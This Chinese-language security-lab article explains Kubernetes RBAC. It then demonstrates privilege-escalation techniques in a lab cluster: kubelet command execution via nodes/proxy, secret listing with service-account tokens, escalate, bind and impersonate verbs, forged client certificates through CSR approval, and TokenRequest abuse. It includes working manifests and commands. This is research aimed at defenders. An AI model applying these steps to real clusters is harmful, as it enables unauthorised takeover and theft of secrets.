前言
K8S对于API的访问安全提供了访问控制,主要为4个阶段,本文为第二个阶段——鉴权的RBAC。RBAC是基于角色的访问控制,使用kubeadm安装集群1.6版本以上的都默认开启了RBAC。本文主要研究集群可能存在的利用点及相对应的利用手法。
API访问控制
kubectl
、构造REST请求,去访问K8S的API,请求到达API时经历的多个阶段就是K8S的API访问控制,而RBAC就是其中鉴权的部分,并且是现在的主要方式,kubeadm安装的集群从1.6版本以后都默认开启了RBAC和Node的鉴权方式。RBAC-基于角色的访问控制
rbac.authorization.k8s.io
API 组[3]来驱动鉴权决定,允许通过 K8S API 动态配置策略。要启用 RBAC,在启动 API 服务器时将--authorization-mode
参数设置为一个逗号分隔的列表并确保其中包含 RBAC。kube-apiserver --authorization-mode=Node,RBAC --<其他选项> --<其他选项>
API对象
Role和ClusterRole
Role
namespace
。下面是一个位于 “default” 命名空间的 Role 的示例,可用来授予对 Pod[5] 的读访问权限:apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: [""] # "" 标明 core API 组
resources: ["pods"]
verbs: ["get", "watch", "list"]
ClusterRole
-
1. 定义对某名字空间域对象的访问权限,并将在个别名字空间内被授予访问权限;
-
2. 为名字空间作用域的对象设置访问权限,并被授予跨所有名字空间的访问权限;
-
3. 为集群作用域的资源定义访问权限。
-
• 集群范围资源(比如节点(Node)[6]);
-
• 非资源端点(比如
/healthz
); -
• 跨名字空间访问的名字空间作用域的资源(如 Pod)比如,你可以使用 ClusterRole 来允许某特定用户执行
kubectl get pods --all-namespaces
。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
# "namespace" 被忽略,因为 ClusterRoles 不受名字空间限制
name: secret-reader
rules:
- apiGroups: [""]
# 在 HTTP 层面,用来访问 Secret 资源的名称为 "secrets"
resources: ["secrets"]
verbs: ["get", "watch", "list"]
RoleBinding和CluserRoleBinding
RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# 此角色绑定允许 "jane" 读取 "default" 名字空间中的 Pod
# 你需要在该命名空间中有一个名为 “pod-reader” 的 Role
kind: RoleBinding
metadata:
name: read-pods
namespace: default
subjects:
# 你可以指定不止一个“subject(主体)”
- kind: User
name: jane # "name" 是区分大小写的
apiGroup: rbac.authorization.k8s.io
roleRef:
# "roleRef" 指定与某 Role 或 ClusterRole 的绑定关系
kind: Role # 此字段必须是 Role 或 ClusterRole
name: pod-reader # 此字段必须与你要绑定的 Role 或 ClusterRole 的名称匹配
apiGroup: rbac.authorization.k8s.io
apiVersion: rbac.authorization.k8s.io/v1
# 此角色绑定使得用户 "dave" 能够读取 "development" 名字空间中的 Secrets
# 你需要一个名为 "secret-reader" 的 ClusterRole
kind: RoleBinding
metadata:
name: read-secrets
# RoleBinding 的名字空间决定了访问权限的授予范围。
# 这里隐含授权仅在 "development" 名字空间内的访问权限。
namespace: development
subjects:
- kind: User
name: dave # 'name' 是区分大小写的
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# 此集群角色绑定允许 “manager” 组中的任何人访问任何名字空间中的 Secret 资源
kind: ClusterRoleBinding
metadata:
name: read-secrets-global
subjects:
- kind: Group
name: manager # 'name' 是区分大小写的
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
-
1. 将 roleRef 设置为不可以改变,这使得可以为用户授予对现有绑定对象的 update 权限, 这样可以让他们管理主体列表,同时不能更改被授予这些主体的角色。
-
2. 针对不同角色的绑定是完全不一样的绑定。要求通过删除/重建绑定来更改 roleRef, 这样可以确保要赋予绑定的所有主体会被授予新的角色(而不是在允许或者不小心修改了 roleRef 的情况下导致所有现有主体未经验证即被授予新角色对应的权限)。
Nodes/proxy
kube-apiserver
发送的api然后在节点上执行相关操作。当RBAC配置为对资源为nodes/proxy
,verbs包含"get" "create"
时就可以绕过apiserver
直接对每个节点操作,当知道每个节点ip时,相当于获得了集群的每个节点的权限。首先创建需要的相关资源:-
• ServiceAccount
-
• Secret
-
• ClusterRole
-
• ClusterRoleBinding
-
1. 创建服务账户用来将ClusterRoleBinding
角色绑定。
apiVersion: v1
kind: ServiceAccount
metadata:
name: nodeproxy
namespace: default
2.手动创建服务账户的Secret
自动生成Token
,令牌控制器将清理不存在的服务账号的所有令牌。
apiVersion: v1
kind: Secret
metadata:
name: nodeproxy-token
annotations:
kubernetes.io/service-account.name: nodeproxy
type: kubernetes.io/service-account-token
3. 创建集群角色,并授予对nodes/proxy
资源的权限。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodeproxy
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get", "create"]
4. 创建ClusterRoleBinding
将集群角色中定义的权限赋予之前创建的服务账户。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: nodeproxybinding
subjects:
- kind: ServiceAccount
name: nodeproxy
namespace: default
roleRef:
kind: ClusterRole
name: nodeproxy
apiGroup: rbac.authorization.k8s.io
-
1. 获取刚才创建的服务账户的token。
$ kubectl get secrets build-nodeproxy -o jsonpath={.data.token} | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpBS09mWHo0cU55bWI3NVV6cW4yQVV2MXFaUTJRX2tualZqeV9PbDVIOFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImJ1aWxkLW5vZGVwcm94eSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJub2RlcHJveHkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkYzU1ODc4YS0xM2ZiLTRiZjUtODFiMy0xNGI4NjczOGI1YjIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpub2RlcHJveHkifQ.DGUoIpe6-kNiUQW0USApR6kwLhiuVIYuHdwYRWdHArqYEEhcG8WNMNOAK-cMu0i9v69xplNLAwWFFIjjOsWtgrKzOih8M39Wyfgmha9_D9YqOJCPLwLRAuxlBPXGmkM_hEcEQ7ockh5a9GGRS5Q3E45KhofZR44QqlaDyoYyxUd7M8m4-Kss_m7otNyh39Q6dDug5dOBIcV1Tk6hPye3XqPAGQ0y_nAtZY9k2GZENeODzwYiEW1LOJ9bJbJI62Qo_rvPB6CFYRt4TnQFsrPwFhfQKeIOIKowoqfz1rBmYCSNrBAkdVbQ-ZvmkAsOz704l6oati_K6Pq_q3VL-Zgb2A
-
2. 使用curl或者任意可以发送api的工具查看pods并将token放进header的
Authorization
中,可以通过jless
过滤json查看获取信息:
-
• namespace
-
• pod-name
-
• container-name
$ curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IkpBS09mWHo0cU55bWI3NVV6cW4yQVV2MXFaUTJRX2tualZqeV9PbDVIOFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImJ1aWxkLW5vZGVwcm94eSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJub2RlcHJveHkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkYzU1ODc4YS0xM2ZiLTRiZjUtODFiMy0xNGI4NjczOGI1YjIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpub2RlcHJveHkifQ.DGUoIpe6-kNiUQW0USApR6kwLhiuVIYuHdwYRWdHArqYEEhcG8WNMNOAK-cMu0i9v69xplNLAwWFFIjjOsWtgrKzOih8M39Wyfgmha9_D9YqOJCPLwLRAuxlBPXGmkM_hEcEQ7ockh5a9GGRS5Q3E45KhofZR44QqlaDyoYyxUd7M8m4-Kss_m7otNyh39Q6dDug5dOBIcV1Tk6hPye3XqPAGQ0y_nAtZY9k2GZENeODzwYiEW1LOJ9bJbJI62Qo_rvPB6CFYRt4TnQFsrPwFhfQKeIOIKowoqfz1rBmYCSNrBAkdVbQ-ZvmkAsOz704l6oati_K6Pq_q3VL-Zgb2A" https://192.168.56.10:10250/pods | jless
-
3. 根据获取到的信息通过
https://ip:10250/run/namespace/pod-name/container-name
api执行命令。
cluster admin
权限。列举Secret
-
• ServiceAccount
-
• Secret
-
• Role
-
• RoleBinding
apiVersion: v1
kind: ServiceAccount
metadata:
name: secret-list-sa
automountServiceAccountToken: true
---
apiVersion: v1
kind: Secret
metadata:
name: secret-list-build
annotations:
kubernetes.io/service-account.name: secret-list-sa
type: kubernetes.io/service-account-token
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: secret-list-role
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: secret-list-binding
subjects:
- kind: ServiceAccount
name: secret-list-sa
namespace: default
roleRef:
kind: Role
name: secret-list-role
apiGroup: rbac.authorization.k8s.io
# 读取指定的 Secret
GET /api/v1/namespaces/{namespace}/secrets/{name}
# 列出指定命名空间下为 Secret 的对象
GET /api/v1/namespaces/{namespace}/secrets
# 列出 Secret 对象
GET /api/v1/secrets
$ kubectl get secrets secret-list-build -ojsonpath={.data.token} | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpBS09mWHo0cU55bWI3NVV6cW4yQVV2MXFaUTJRX2tualZqeV9PbDVIOFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6InNlY3JldC1saXN0LWJ1aWxkIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6InNlY3JldC1saXN0LXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMWIwYmNiMjAtNThkNS00ZjAxLTljNDUtZTdlYzM4NjA0MTYzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LWxpc3Qtc2EifQ.gTG8uTOn-zMO1BmYNNaTT2rx_qSAsWNKstRlzOmHJtqGwzUaNR65KRjE102r52rsUIxnfZL2ySr_G-Dg66MaxcGIVJtZZZFfsfE-LsDkSpPgJvTGVEyl3glL3jHDho39CYygPw8G1bPk-_w7kXFPjo476efT2_YUwwNh1xgQ_kwuD3Fo-ajFETvxv7tvnYYizWYjw7XU7EZkpBDamkqJFKmYpKGG1Atc7inm9LE5qB2DOKvxyqXyWvsT5TcubJEfC6BzN3MzzLa6sKcUpbPAdrM6HWiYTnkLKjIonzaWJZaoRvB67klyapikl1cPorrOFHQNYbimuneO6hOLOXdgeg
$ curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IkpBS09mWHo0cU55bWI3NVV6cW4yQVV2MXFaUTJRX2tualZqeV9PbDVIOFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6InNlY3JldC1saXN0LWJ1aWxkIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6InNlY3JldC1saXN0LXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOWYyOGRmZmEtYTE4Yy00OThmLTg5NzMtNzU4MTA0MTNiZDU2Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LWxpc3Qtc2EifQ.KEzhwM3hW7jGS4tBQLSfHg0IL42BOacGJvlpy0HCW7VtAVBHN2-Hs31nHdTvbiXTH5QX7XdCb_wPBlDfx9WZQBSfpaV7RZGcDTvi4rg6E0JQyIyBFk5oBYe0WYLWrPHTcrcCx8uKojoz6KRHytSpAsu2B0oSDayVy8B55ByFlTqCccZ-qjCXv22myZqNpV2WGtP3iQ_b4WKwQHMZ3RWeD_PwTWCddkvZCuvWMJiltIgQeVmmlX-nFPK7X1N81qbi0DlQapoXIAMLqwjS7Ungct3kSQIIr_oEZ3CJusyEAxQfpvpBmHf3lsLYlgpFNNERJz4Vq1sxFXbF0bAgw8HXmg" https://192.168.56.10:6443/api/v1/namespaces/default/secrets/
创建工作负载
-
• Role
-
• RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pod-role
rules:
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: pod-binding
subjects:
- kind: User
name: k8s-user
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: pod-role
apiGroup: rbac.authorization.k8s.io
创建持久卷
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pv-role
rules:
- apiGroups: [""]
resources: ["persistentvolumes", "persistentvolumesclaims", "pods"]
verbs: ["get", "list", "watch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pv-binding
subjects:
- kind: User
name: k8s-user
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: pv-role
apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: local-pv
spec:
capacity:
storage: 4Gi
volumeMode: Filesystem
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
storageClassName: local-storage
local:
path: /root
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- k8s-worker1
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: local-pv-claim
spec:
storageClassName: local-storage
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: test-pd
spec:
containers:
- image: nginx:1.22
name: test-container
volumeMounts:
- mountPath: /test-pd
name: test-pv-volume
volumes:
- name: test-pv-volume
persistentVolumeClaim:
claimName: local-pv-claim
Esclate verb
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: role-escalate
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["get", "list", "create", "escalate"]
Bind verb
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: role-grantor
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles"]
verbs: ["bind"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: role-binding
subjects:
- kind: User
name: k8s-user
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: role-grantor
apiGroup: rbac.authorization.k8s.io
$ kubectl create rolebinding bind-admin --clusterrole=admin --user=k8s-user
# or
# 不能使用apply,因为apply是先get再create,因为没有get权限
$ kubectl create -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: bind-admin
subjects:
- kind: User
name: k8s-user
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
EOF
Impersonate verb
http header
实现扮演用户的效果。相关subjects举例:-
• Impersonate-User: 扮演的用户的用户名
-
• Impersonate-Group: 扮演的用户组,多个值(出现多次)表示多个组,需要同时指定 Impersonate-User
-
• Impersonate-Extra-( extra name ): 动态指定的 key,用于指定用户的其他信息,需要同时指定 Impersonate-User
Impersonate-User: [email protected]
Impersonate-Group: developers
Impersonate-Group: admins
Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
Impersonate-Extra-acme.com%2Fproject: some-project
Impersonate-Extra-scopes: view
Impersonate-Extra-scopes: development
--as
可以配置 Impersonate-User
的值, --as-group
可以配置 Impersonate-Group
的值。kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...
# eg
kubectl --as=system:serviceaccount:kube-system:default
kubectl --as=superman --as-group=system:masters
# curl
curl -k -v -XGET -H 'Authorization: Bearer ***'
-H 'Impersonate-User: ***'
-H 'Impersonate-Group: ***'
'https://<master_ip>:<port>/api/v1/nodes' | jless
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: impersonate-verb
rules:
- apiGroups: [""]
resources: ["users", "groups", "serviceaccounts"]
verbs: ["impersonate"]
Impersonate-Extra-scopes
的设置也是需要相应的ClusterRole。apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: scopes-impersonator
rules:
# Can set "Impersonate-Extra-scopes" header.
- apiGroups: ["authentication.k8s.io"]
resources: ["userextras/scopes"]
verbs: ["impersonate"]
system:masters
可以获得集群权限。CSR和签发证书
kubernetes.io/kube-apiserver-client-kubelet
签名的证书被 kube-apiserver 视为客户证书用来内部组件使用,而kubernetes.io/kube-apiserver-client
签名的证书可以向 K8S API 服务器进行身份验证。update certificatesigningrequests/approval
的权限, 其中签名者是 kubernetes.io/kube-apiserver-client
的情况下可以利用提权。apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr
rules:
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests"]
verbs: ["create", "get", "list", "watch"]
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests/approval"]
verbs: ["update"]
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests/status"]
verbs: ["update"]
- apiGroups: ["certificates.k8s.io"]
resources: ["signers"]
verbs: ["approve", "sign"]
system:masters
组的用户会默认绑定到cluster-admin角色,该组内的成员具有集群的完全控制权限,首先尝试创建一个该组的证书进行利用直接获取集群管理员权限。# 生成PKI私钥和CSR,设置CSR的CN和O,CN表示用户名,O表示该用户的组
openssl genrsa -out csr-test.key 2048
openssl req -new -key csr-test.key -out csr-test.csr -subj "/O=system:masters/CN=csr-test"
-
• usage: 必须是
client auth
-
• expirationSeconds: 表示时间864000为10天,3600是一小时
-
• request: 是CSR文件的base64编码,可以通过
cat csr-test.csr | base64 | tr -d "n"
获取该值
kubectl apply -f - <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: csr-test
spec:
request: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURSBSRVFVRVNULS0tLS0KTUlJQ2NUQ0NBVmtDQVFBd0xERVhNQlVHQTFVRUNnd09jM2x6ZEdWdE9tMWhjM1JsY25NeEVUQVBCZ05WQkFNTQpDR056Y2kxMFpYTjBNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTJnRGU4bTNICmlGSEowSDNoeksyVlJtUkJkaHB5SjQ5SXNqNHJmMmV1SGVSVlk5VmpYU1d2UlRHQTBHTGg2QmlMeTBYQjZiSmsKUFgrSE85THVNZDVQK1VhMEhiRUF0eDBLQ00wclhZYWRGVDk1UU5jY2s3UWRBTzE1dXZNU042OTlaVmxIYnVqTApuYTBkdFVsaWhEdWtqM0NxaFpHeHlBOENMSG12SUN1YlYzaUZzb0FmT1FKTHVrMVc5SXJkdXI2MW1vZjc2UUYzCnlESFMyMSs2K3ZNZG5PMG8vK3JxOFE5SFdicUs0SGJUOWpSTzdOb2p3OFkzK3RRVGNITE9DZnZnZ0I2b3RsMWkKN1R2KzhESS9QNFF0TDNZL1RyODJRSEovNHpVWkRkelNvL3pTSDRyaS9xclhBMDQvQzFyMVphZk9nSVMvRHk2VwpPMnhGZlRZRndRbXZiUUlEQVFBQm9BQXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBTmZzQzdVTDV4SHZnYkRrCmc2UG9pODVmWS9SNmhIQmdkS1NIODNzdmZIcnR0dEQzRG9TVWp0S2hrZ3o5bU9yQmlkdWgza0pvd2M4Q0NJVE8KS0MzV1V6RzJ0ekdtTlVFeFFpUmUveTdTQUZEaHRtUUF4WjJiS3huN3NkNTR3MG5JRTNlMXpYRXh2bC9YcXB4egpoQ0M2RzkvcVNYb3VMQzZKTlNobFVMVFU3SjNQZmtKeHRFVHhhTXBYL1dwclVoR0hEUW55TTFwMUtGMko5UFEvCkQ2cFRnMWJQbjVHRmpXdEZuUkU5TnVVbWhCTVRvR0xESWh3cTdrdnZadHRGSFNmTFJudmlJUnRKUlRQb2llbnMKbDZPcVBhazhDd2pVL1MwWEVON0wrbEl1Sjl0WUdUbmtJdWxvSUQ0R1NEZTRiWmt1ZWVYUWhRaW1LdmxFdUdaawo1SHA0QVBzPQotLS0tLUVORCBDRVJUSUZJQ0FURSBSRVFVRVNULS0tLS0K
signerName: kubernetes.io/kube-apiserver-client
expirationSeconds: 864000
usages:
- client auth
EOF
kubernetes.io/kube-apiserver-client
请求组为system:masters
会被拒绝。对于不能一步到位表示遗憾,还可以查看有没有其他组存在默认绑定ClusterRole的,比如system:nodes
可以直接和kubelet通信对所有的secret和pod进行写访问等。也可查看集群中已经定义好的ClusterRole有没有其他存在默认绑定的,看看那些权限高一点可以拿来用的,然后创建与之匹配的证书,默认的比如有system:kube-controller-manager
可以查看secrets,也可以利用system:kube-proxy
访问每个node有一个pod,并可以逃逸的情况直接获得集群所有宿主机权限等等。下图为system:kube-controller-manager
权限可以对secrets操作。-subj "/CN=system:kube-controller-manager"
,创建CSR并发送。# 获取CSR列表
kubectl get csr
# 批准CSR
kubectl certificate approve csr-test
# 查看CSR
kubectl get csr csr-test -oyaml
# 证书的内容使用 base64 编码,存放在字段status.certificate
# 导出颁发的证书
kubectl get csr csr-test -o jsonpath='{.status.certificate}'| base64 -d > csr-test.crt
system:kube-controller-manager
,会默认绑定到ClusterRole,这时就不需要再对新创建的csr-test
进行创建角色和角色绑定的操作了,从而避免了对当前用户权限需要有对RBAC的操作,如果没有相关可以利用的verb进一步提权到头来还是白费,所以这边直接使用集群默认并绑定好的。kubeconfig
文件中。# 添加新的凭据
kubectl config set-credentials csr-test --client-key=csr-test.key --client-certificate=csr-test.crt --embed-certs=true
# 添加上下文
kubectl config set-context csr-test --cluster=kubernetes --user=csr-test
csr-test
测试下。kubectl config use-context csr-test
clusterrole-aggregation-controller
的sa的token,也可以一开始的用户设置为system:kube-proxy
直接获取整个集群宿主机权限等多种组合利用方式。默认ClusterRole | 默认ClusterRoleBinding | 说明 |
system:kube-scheduler | system:kube-scheduler(user) | 允许访问 kube-scheduler 组件所需要的资源 |
system:kube-controller-manager | system:kube-controller-manager(user) | 允许访问 kube-controller-manager 组件所需要的资源。 |
system:node-proxier | system:kube-proxy(user) | 允许对 kube-proxy 组件所需要资源的访问。 |
system:node | system:nodes (group) | 允许对 kubelet 组件所需要的资源的访问 |
system:basic-user | ||
system:public-info-viewer | ||
system:discovery | system:authenticated (group) | 允许用户以只读的方式去访问他们自己的基本信息,允许以只读方式访问 API 发现端点,允许对集群的非敏感信息进行只读访问 |
system:public-info-viewer | system:unauthenticated (group) | 允许对集群的非敏感信息进行只读访问 |
system:monitoring | system:monitoring (group) | 允许对控制平面监控端点的读取访问 |
cluster-admin | system:masters (group) | 允许超级用户在平台上的任何资源上执行所有操作。 |
令牌请求
serviceaccounts/token
的 create 权限的用户可以创建 TokenRequest
对目标sa请求创建一个token。当前用户具有如下权限对sa的获取、例举以及对sa创建token。apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: token-create
rules:
- apiGroups: [""]
resources: ["serviceaccounts"]
verbs: ["get", "list"]
- apiGroups: [""]
resources: ["serviceaccounts/token"]
verbs: ["create"]
token-create
的token,可以通过kubectl也可以通过REST API。kubectl config set-credentials token-create --token=<token>
kubectl config set-context token-create --cluster=kubernetes --user=token-create
kubectl config use-context token-create
kubeconfig
添加用户并设置上下文,切换到创建的用户成功列举secrets
。RBAC检测工具
对于上文提到的手法,默安科技的云原生保护平台(CNAPP)-尚付已支持检测。
参考资料
-
• Authenticating[10]
-
• Using RBAC Authorization[11]
-
• Kubernetes RBAC 101[12]
-
• Admission Controllers Reference[13]
-
• Kubernetes API[14]
引用链接
[1]
API访问控制的流程: https://kubernetes.io/docs/concepts/security/controlling-access/[2]
RBAC: https://kubernetes.io/docs/reference/access-authn-authz/rbac/[3]
API 组: https://kubernetes.io/docs/concepts/overview/kubernetes-api/#api-groups-and-versioning[4]
路径分段名称: https://kubernetes.io/docs/concepts/overview/working-with-objects/names#path-segment-names[5]
Pod: https://kubernetes.io/docs/concepts/workloads/pods/[6]
节点(Node): https://kubernetes.io/docs/concepts/architecture/nodes/[7]
Secret: https://kubernetes.io/docs/concepts/configuration/secret/[8]
CertificateSubjectRestriction: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction[9]
rbacr: https://github.com/ZhuriLab/rbacr[10]
Authenticating: https://kubernetes.io/docs/reference/access-authn-authz/authentication/[11]
Using RBAC Authorization: https://kubernetes.io/docs/reference/access-authn-authz/rbac/[12]
Kubernetes RBAC 101: https://www.cncf.io/wp-content/uploads/2020/08/2020_04_Introduction-to-Kubernetes-RBAC.pdf[13]
Admission Controllers Reference: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestrictions[14]
Kubernetes API: https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/
原文始发于微信公众号(默安逐日实验室):K8S API访问控制之RBAC利用